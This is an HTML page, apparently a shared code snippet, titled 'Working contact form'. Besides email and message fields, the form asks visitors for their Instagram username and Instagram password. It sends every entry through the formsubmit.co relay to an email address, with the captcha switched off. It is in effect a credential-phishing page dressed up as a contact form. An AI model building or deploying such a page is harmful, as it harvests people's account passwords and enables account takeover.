contact
2 years ago in HTML
<html>
<head>
<title> Working contact form </title>
<style>
* {
margin: 0;
padding: 0;
}
body {
background-color: #efefef;
}
.contact-box {
width: 500px;
background-color: #fff;
box-shadow: 0 0 20px 0 #999;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
position: absolute;
}
.input {
margin-left: 50px;
margin-bottom: 20px;
width: 400px;
height: 40px;
margin-top: 20px;
padding-left : 10px;
padding-right: 10px;
border : 1px solid #777;
}
.btn {
border-radius: 20px;
color: #fff;
margin-top: 18px;
padding: 10px;
background-color: #e25d15;
font-size: 12px;
border: none;
cursor: pointer;
margin-left: 180px;
}
</style>
</head>
<body>
<div class="contact-box">
<form action="https://formsubmit.co/[email protected]" method="POST">
<input type="text" name="_honey"style="display: none;">
<input type="hidden" name="_captcha" value="false">
<input type="hidden" name="_next" value="http://127.0.0.1:5501/success.html">
<input type="text" class="input" name="email" placeholder="Enter Your Email id">
<input type="text" class="input" name="is" placeholder="Enter your instagram username.">
<input type="text" class="input" name="pswd" placeholder="Enter Your instagram password ">
<input type="text" class="input" name="message" placeholder="How may we help you?">
<div class="form-box">
<button type="submit" class="btn submit"> Submit</button>
</div>
</form>
</div>
</body>
</html>